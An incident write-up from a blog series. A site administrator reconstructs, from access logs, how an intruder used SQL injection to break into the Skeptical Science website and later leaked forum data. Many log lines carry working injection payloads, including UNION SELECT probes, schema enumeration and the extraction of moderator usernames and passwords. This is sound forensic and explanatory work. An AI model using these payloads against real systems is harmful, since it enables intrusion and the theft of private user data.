Arguments
A Hack By Any Other Name — Part 7
Posted on 21 March 2014 by Bob Lacatena
Part 6 described the methods used by the hacker and detailed his activity on February 21st.
Ted: We're both stumbling around together in this unformed world, whose rules and objectives are largely unknown, seemingly indecipherable or even possibly nonexistent, always on the verge of being killed by forces that we don't understand.
Allegra: That sounds like my game, all right.
Ted: That sounds like a game that's not gonna be easy to market.
Allegra: But it's a game everybody's already playing.
— eXistenZ (1999) —
The Next Question
We were still left with a puzzle. In the course of six hours, the hacker had infiltrated an administrative ID, uploaded his own program, viewed source code, downloaded the database, and then erased most of his tracks. But early in the process, the hacker had jumped straight to user ID 4955, without ever doing anything to find it. How? What did he do in the 24 minutes between looking first looking at the table entry for John’s user ID and then switching to user ID 4955?
Obviously, February 21st wasn’t the first day of the hack. He must have tried, and somehow succeeded, at doing more earlier.
I was ready to send the FBI after him...
I ran one awk program, looking for other instances of the cookie edit trick. One user, Andy S, turned up in my search in December of 2011. He’s a Skeptical Science contributor, and his IP address magically switched a few times between his own user ID and John’s. I was ready to send the FBI after him until I found out that John had been staying with him on the days in question, prior to continuing on to that year’s AGU meeting. The “switching” of user IDs was actually John using his iPad, and Andy using his desktop computer, both within Andy’s home network.
When that search failed, looking at the previous day was the obvious choice. We’d already done so and failed to find a trace of the hacker, but that had been earlier in the game. By this point, we had a much better impression of his footprints. We knew better what to look for.
A quick search for his user agent turned up enough hits...
One option would have been to test all 36,039 IP addresses that accessed the site on February 20th, to see which ones were Tor relays. Tor IP lists are always incomplete, but if he went through as many IP addresses as he had on the 21st, there were bound to be more than a few matches.
That wasn’t even necessary. A quick search for his user agent turned up enough hits, and the URLs he was hitting were obviously hack attempts. Below is a SQL injection attempt, but a skillful, handcrafted, one, not one sent by a bot:
166.70.207.2 www.skepticalscience.com - [20/Feb/2012:15:16:57 +1100] "GET /article.php?p=1000%20day)%20and%20false%20union%20select%201,message,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,postid%20from%20post%20where%20message%20regexp%20char(117,112,108,111,97,100)%20and%20userid=1%20--%20&t=1&b=1 HTTP/1.1" 200 50108 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689519.1329703239.3; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __utmb=198451757.90.10.1329703239" 816 50482 urchindyn www.skepticalscience.com
It was easy enough, from there, to run my hackcomiler.sh script. That script started with a set of seed patterns, in this case the IP address and the session ID from the entry above. It would extract all of the activity that matched those patterns, then build a new pattern, using all of the IP addresses and session IDs in the new set. Then it would try again, extracting all data that matched, and building a new pattern, until the data and pattern no longer changed.
The end result was everything that the hacker had done on that day.
Remember, good programmers always start counting from zero...
Skynet Defence System activated. - We're in. We're past the firewalls, local defence nets, Minutemen, subs. Skynet's fully operational, processing at 60 teraflops a second. It should take less than a minute to find the virus and kill it.
— Terminator 3: Rise of the Machines (2003) —
February 20, 2012 — 9:08 AM AEDT — Day 0
On February 19th in Germany, at 11:08 PM CET, The German began his initial foray into Skeptical Science. The first article he visited was Denialgate - Internal Heartland Documents Expose Climate Denial Funding Network, and article from February 15th about the Heartland phishing affair.
93.182.132.100 www.skepticalscience.com - [20/Feb/2012:09:08:14 +1100] "GET / HTTP/1.1" 200 20531 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "-" 322 20969 urchindyn www.skepticalscience.com
93.182.132.100 www.skepticalscience.com - [20/Feb/2012:09:10:30 +1100] "GET /denialgate-heartland.html HTTP/1.1" 200 25205 "https://skepticalscience.com/" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689304.1; __utmb=198451757.1.10.1329689304; __utmc=198451757; __utmz=198451757.1329689304.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)" 637 25579 urchindyn www.skepticalscience.com
He visited one or two more articles before setting to work. He briefly began the registration process for a new user ID, but halted before continuing. From there he clicked on various links and menu options, looking for those pages which used numeric parameters. He started with the translations page, substituting various values for the "language id," to see if there was any visible effect on the resulting page.
77.247.181.163 www.skepticalscience.com - [20/Feb/2012:09:23:43 +1100] "GET /translation.php?lang=0 HTTP/1.1" 200 5478 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7" 616 5851 urchindyn www.skepticalscience.com
77.247.181.163 www.skepticalscience.com - [20/Feb/2012:09:23:57 +1100] "GET /translation.php?lang=f HTTP/1.1" 200 5478 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.11.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 616 5851 urchindyn www.skepticalscience.com
77.247.181.163 www.skepticalscience.com - [20/Feb/2012:09:24:13 +1100] "GET /translation.php?lang=/ HTTP/1.1" 200 5478 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.12.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 616 5851 urchindyn www.skepticalscience.com
77.247.181.163 www.skepticalscience.com - [20/Feb/2012:09:24:24 +1100] "GET /translation.php?lang= HTTP/1.1" 200 5478 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.13.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 615 5851 urchindyn www.skepticalscience.com
77.247.181.163 www.skepticalscience.com - [20/Feb/2012:09:24:37 +1100] "GET /translation.php?lang[1]=1 HTTP/1.1" 200 5478 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.14.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 619 5851 urchindyn www.skepticalscience.com
When that failed to produce a result, he backtracked to the registration process. Reading the HTML code behind the page, he next keyed on the program which generates the security image, meant to stifle bots, by again trying to enter invalid parameter values.
199.48.147.36 www.skepticalscience.com - [20/Feb/2012:09:34:44 +1100] "GET /securityimage/securityimage.php?code=1 HTTP/1.1" 200 1424 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.21.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 631 1599 urchindyn www.skepticalscience.com
199.48.147.36 www.skepticalscience.com - [20/Feb/2012:09:34:55 +1100] "GET /securityimage/securityimage.php?code=A HTTP/1.1" 200 1501 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.21.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 631 1676 urchindyn www.skepticalscience.com
199.48.147.36 www.skepticalscience.com - [20/Feb/2012:09:35:06 +1100] "GET /securityimage/securityimage.php?code=Aghdjdfh=%27(2395ufmbFBKM HTTP/1.1" 200 1495 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.21.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 655 1670 urchindyn www.skepticalscience.com
173.254.192.36 www.skepticalscience.com - [20/Feb/2012:09:36:16 +1100] "GET /securityimage/securityimage.php?code[0]=G HTTP/1.1" 200 1490 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.21.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 635 1665 urchindyn www.skepticalscience.com
When that failed, he moved on to try the same with the Peer Reviewed Skeptics page, and a slightly different but similar approach to the Search function. He then moved on to the Author's Posts page, but took a more methodical approach.
31.172.30.2 www.skepticalscience.com - [20/Feb/2012:09:51:17 +1100] "GET /posts.php?u=12 HTTP/1.1" 200 5459 "https://skepticalscience.com/posts.php" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.33.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 657 5832 urchindyn www.skepticalscience.com
31.172.30.2 www.skepticalscience.com - [20/Feb/2012:09:51:39 +1100] "GET /posts.php?u=1 HTTP/1.1" 200 40291 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.34.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 604 40665 urchindyn www.skepticalscience.com
31.172.30.2 www.skepticalscience.com - [20/Feb/2012:09:52:03 +1100] "GET /posts.php?u=2 HTTP/1.1" 200 5457 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.35.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 604 5830 urchindyn www.skepticalscience.com
31.172.30.2 www.skepticalscience.com - [20/Feb/2012:09:52:37 +1100] "GET /posts.php?u=0 HTTP/1.1" 200 33070 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.37.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 604 33444 urchindyn www.skepticalscience.com
31.172.30.2 www.skepticalscience.com - [20/Feb/2012:09:53:46 +1100] "GET /posts.php?u=2-1 HTTP/1.1" 200 5457 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.39.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 606 5830 urchindyn www.skepticalscience.com
31.172.30.2 www.skepticalscience.com - [20/Feb/2012:09:54:15 +1100] "GET /posts.php?u=%272-1 HTTP/1.1" 200 33070 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.40.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 609 33444 urchindyn www.skepticalscience.com
31.172.30.2 www.skepticalscience.com - [20/Feb/2012:09:54:25 +1100] "GET /posts.php?u=%271%27 HTTP/1.1" 200 33070 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.41.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 610 33444 urchindyn www.skepticalscience.com
There is a deliberate method to this seeming madness. One of the protections against a SQL injection attack is to "escape" single quotes submitted by the user. This nullifies any attempt to break the resulting SQL statement. For example, entering "climate's changed" in the original SQL injection example from Part 2 will result in a harmless code fragment like this:
SELECT * FROM PAGES WHERE CONTENT LIKE 'climate\'s changed'
The slash in front of the user's single quote negates its effect on the SQL statement itself. It is treated as one might expect, a search for the words "climate's changed'.
Numeric parameters are different. A properly protected program needs to either guarantee that only valid numeric values are used, or else to also enclose the parameters in single quotes and to escape any quotes in the input (because, as you can see, you can't trust users not to try to change the expected values).
In most systems, there's no way to easily do this in a systematic way. You have to go through every program, line by line, making sure that every program which accepts and uses a numeric parameter from the user properly protects itself against abuse.
The hacker systematically searched for a program which was not properly protected. By entering a value like 2-1, if he instead gets the same result as the value 1 returns, he knows that the computer program "did the math." It would only do that if the parameter was not properly shielded, in which case it would represent an avenue of attack for the hacker.
The German tried 98 distinct combinations before hitting on one that worked. When he found it, he went about systematically building a valid SQL statement. When he failed, the page would fail to display properly. When the page did display properly, he'd know he'd constructed a valid but altered SQL statement, which would be ready for him to further alter to probe into the database.
93.182.132.103 www.skepticalscience.com - [20/Feb/2012:10:46:57 +1100] "GET /article.php?p=k&t=%272&b=%271 HTTP/1.1" 200 4752 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.104.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 624 5125 urchindyn www.skepticalscience.com
93.182.132.103 www.skepticalscience.com - [20/Feb/2012:10:47:47 +1100] "GET /article.php?p=1%20day)%20or%20true%20&t=a&b=a HTTP/1.1" 200 4815 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.104.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 640 5188 urchindyn www.skepticalscience.com
93.182.132.103 www.skepticalscience.com - [20/Feb/2012:10:48:08 +1100] "GET /article.php?p=1%20day)%20or%20true%20--%20&t=a&b=a HTTP/1.1" 200 8019 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.104.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 645 8392 urchindyn www.skepticalscience.com
93.182.132.103 www.skepticalscience.com - [20/Feb/2012:10:49:06 +1100] "GET /article.php?p=1%20day);select%201%20--%20&t=a&b=a HTTP/1.1" 200 4814 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.105.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 644 5187 urchindyn www.skepticalscience.com
93.182.132.103 www.skepticalscience.com - [20/Feb/2012:10:49:36 +1100] "GET /article.php?p=1%20day);select%201%20;%20--%20&t=a&b=a HTTP/1.1" 200 4816 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.105.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 648 5189 urchindyn www.skepticalscience.com
Author's Note: Please don't try these. It won't get you anywhere, and it just annoys the server.
After thirteen unsuccessful attempts to construct a valid SQL statement, he gave up and moved on to other pages in the site.
He tried, without luck, to use the redirect page on the site to access internal files (.htaccess is an important web traffic control file). That file is, of course, protected, and he received a 403 error — unauthorized access — for his trouble.
199.48.147.41 www.skepticalscience.com - [20/Feb/2012:10:59:33 +1100] "GET /redirect.php?u=.htaccess HTTP/1.1" 302 20 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.119.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 618 263 urchindyn www.skepticalscience.com
199.48.147.41 www.skepticalscience.com - [20/Feb/2012:10:59:40 +1100] "GET /.htaccess HTTP/1.1" 403 181 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.119.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 603 428 urchindyn www.skepticalscience.com
He tried nineteen more combinations before stumbling across the forum. While most of the forum was private, one thread, "The Scientific Guide to Global Warming Skepticism", was always visible to the public. The German tried to force his way into other forum posts.
146.185.23.179 www.skepticalscience.com - [20/Feb/2012:11:10:54 +1100] "GET /thread.php?t=501&r=88 HTTP/1.1" 200 5003 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.141.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 616 5376 urchindyn www.skepticalscience.com
146.185.23.179 www.skepticalscience.com - [20/Feb/2012:11:11:14 +1100] "GET /thread.php?t=5071&r=88 HTTP/1.1" 200 2765 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmb=198451757.141.10.1329689519; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 617 3138 urchindyn www.skepticalscience.com
He proceeded to make a dozen attempts to break the forum thread page, before he succeeded. The resulting error message told him the name of the table and two parameters used to extract posts from the database.
He returned to the broken article.php page with a new purpose. His first step was to determine how many columns were selected by the SQL statement in that page, and to join it to another select statement. Here, he got lucky, because at the time, the SQL injection detection logic only reported the attacks by the hacker, but did not block or abort his continued attempts. This let this particular attack slip through, and be brushed off as a nuisance that hadn't affected the system.
213.89.246.184 www.skepticalscience.com - [20/Feb/2012:12:57:54 +1100] "GET /article.php?p=1000%20day)%20and%20false%20union%20select%201,2,3,4,5,6,7%20%20--%20&t=1&b=1 HTTP/1.1" 200 4794 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 650 5167 urchindyn www.skepticalscience.com
213.89.246.184 www.skepticalscience.com - [20/Feb/2012:12:58:09 +1100] "GET /article.php?p=1000%20day)%20and%20false%20union%20select%201,2,3,4,5,6,7,8%20%20--%20&t=1&b=1 HTTP/1.1" 200 4795 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 652 5168 urchindyn www.skepticalscience.com
213.89.246.184 www.skepticalscience.com - [20/Feb/2012:12:58:16 +1100] "GET /article.php?p=1000%20day)%20and%20false%20union%20select%201,2,3,4,5,6,7,8,9%20%20--%20&t=1&b=1 HTTP/1.1" 200 4798 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689304.1329689519.2; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)" 654 5171 urchindyn www.skepticalscience.com
When he had the correct number of columns he knew it, because the page loaded properly. His next step was to replace one of those columns with data about the database itself — starting with the list of table names and column names, which are all that he would need to troll the database at will. It took him nine tries to get the syntax right, but in the end he got what he needed.
146.185.23.179 www.skepticalscience.com - [20/Feb/2012:13:06:30 +1100] "GET /article.php?p=1000%20day)%20and%20false%20union%20select%201,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,column_name%20from%20%20INFORMATION_SCHEMA.columns;%20--%20&t=1&b=1 HTTP/1.1" 200 4902 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689519.1329703239.3; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __utmb=198451757.3.10.1329703239" 776 5275 urchindyn www.skepticalscience.com
From there he tried several things, including listing users who had moderator capability. He studied the users table, trying to extract passwords for powerful users, but since they were encrypted, he was unable to do anything with the information. He did, however, at this point discover the 4955 uwatest user ID that he would later, after 24 minutes of deliberation, choose to employ the following day.
146.185.23.179 www.skepticalscience.com - [20/Feb/2012:13:40:32 +1100] "GET /article.php?p=1000%20day)%20and%20false%20union%20select%201,username,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,password%20from%20user%20where%20moderator%20--%20&t=1&b=1 HTTP/1.1" 200 7425 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689519.1329703239.3; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __utmb=198451757.30.10.1329703239" 766 7798 urchindyn www.skepticalscience.com
When he gave up on that, he set himself instead to reading the contents of the forum, the private contents to which he would not otherwise have access. He looked for posts by certain users, as well as posts containing certain keywords:
databa, form, gleic, heartl, plaintex, passwo, salt, upload, .php, .zip, \.txt, bunnies, cleartext, crypt
199.48.147.39 www.skepticalscience.com - [20/Feb/2012:16:07:28 +1100] "GET /article.php?p=1000%20day)%20and%20false%20union%20select%201,message,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,postid%20from%20post%20where%20message%20regexp%20char(103,108,101,105,99)%20and%20userid=1%20and%20postid%3E32059%20--%20&t=1&b=1 HTTP/1.1" 200 11003 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329689519.1329703239.3; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __utmb=198451757.126.10.1329703239" 837 11377 urchindyn www.skepticalscience.com
He looked at the contents of the forum, once again showing an intense interest in the Heartland affair (searching for "heartl" and "gleic"), and also looking for further ways in, including information on the password encryption ("plaintex", "passwo", "salt", "cleartext" and "crypt") as well as other useful programming terms ("databa", "form", "php", ".zip", ".txt").
His search for "bunnies" can only imply a fascination with Eli Rabbet.
He conducted 97 such searches, viewing innumerable threads. He found a reference to and downloaded a zip file, perhaps hoping that, as the name implied, it contained copies of the source code for the site. He was disappointed to discover that it was only useless code related to the iPhone app.
It was 7:52 AM on February 20th, nearly nine hours after he'd started and 449 page hits later, when the hacker concluded his first day's efforts, having learned valuable information about the system, and gained clumsy but workable access to the private forum.
46.165.196.182 www.skepticalscience.com - [20/Feb/2012:17:52:09 +1100] "GET /topic.php?t=14&p=g19 HTTP/1.1" 200 3442 "-" "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" "PHPSESSID=b8c1427a95b2bcfd2c502d50dec1a6a7; __utma=198451757.1752053929.1329689304.1329703239.1329718371.4; __utmc=198451757; __utmz=198451757.1329689519.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __utmb=198451757.12.10.1329718371" 614 3815 urchindyn www.skepticalscience.com
Larry Banks: We don't take anything seriously, unless it's on a hard drive.
— Antitrust (2001) —
March 22, 2012 — 9:38 PM CET — Packaging
The German, in the end, had an easy time putting the re-formatted data together. On February 23rd, he'd downloaded the site's "forum thread" and "deleted comments" programs, and over time he'd also downloaded four complete copies of the database. He'd long ago written the program which stripped the timestamps and other data from the SQL injection logs, so that he could continually amend his database copies, keeping it up to date.
He could run the programs on his own desktop, against his own copy of the database...
He could run the programs on his own desktop, against his own copy of the database, so that he could browse the entire forum at his own leisure, much as the forum members did with the live copy. He had already modified the thread program to display the entire thread, rather than a mere fifty posts at a time, since his server didn't have to worry about managing multiple users and very long threads over the Internet.
He'd also taken the time to amend the display, to add the full names of the people in each conversation. Before the release, he also added their e-mail addresses and IP addresses. Doing so wasn't too difficult. As has been explained, the system stores the numeric User ID in the database, where it needs it. The thread program he'd downloaded already used that ID to get and display the user name (the user's chosen display name) from the users table. It didn't take more than a few additional lines of code to append the user's full name and e-mail address, along with the IP address stored on the post.
On March 22nd, 9:38 CET in Germany, he generated the final, most up to date dump of the forum...
For the deleted comments page, he had written his own simple program to generate the display. He ran it on March 9th, after his last full download of the database, but never again after that. By the time he released the data, that page was a few weeks old, but it served his purposes.
For the users dump, he simply wrote a SQL query to generate a comma separated file, while excluding most pseudo-skeptics from the results. He left out people's passwords, but included their e-mail addresses and full names. He created that file the same day he created the deleted comments page, so it only included users up until March 9th.
On March 22nd, 9:38 CET in Germany, he generated the final, most up to date dump of the forum, and zipped it together with the older deleted comments and users dumps. He had his "leak" package all ready to go.
Matt Farrell (hacker): Why would they wanna kill me?
John McClane (cop): You tell me, kid. You're the criminal.
— Live Free or Die Hard (2007) —
March 23rd, 24th, 25th..., 2012 — Dumpster Diving
After the data was released, no one really cared. A small group of hard-core pseudo-skeptics engaged in some gleeful dumpster diving, poring over the forum threads, looking for anything nefarious, any hint of wrong doing, private funding, fraud, misrepresentation, anything.
A small group of hard-core pseudo-skeptics engaged in some gleeful dumpster diving...
What they found instead was dry, boring discussions of the science. Occasionally — only very rarely — they hit upon a particularly emotional thread, with comments from a person or two who became more colorful in their wording. These comments — a few, out of over 46,000 posts — were taken and displayed completely out of context, just like those from the CRU hack.
In the end, however, the contents of the forum were ignored, except by a random few climate change dismissives.
...engaged in a minor, meaningless skirmish in the Subterranean War...
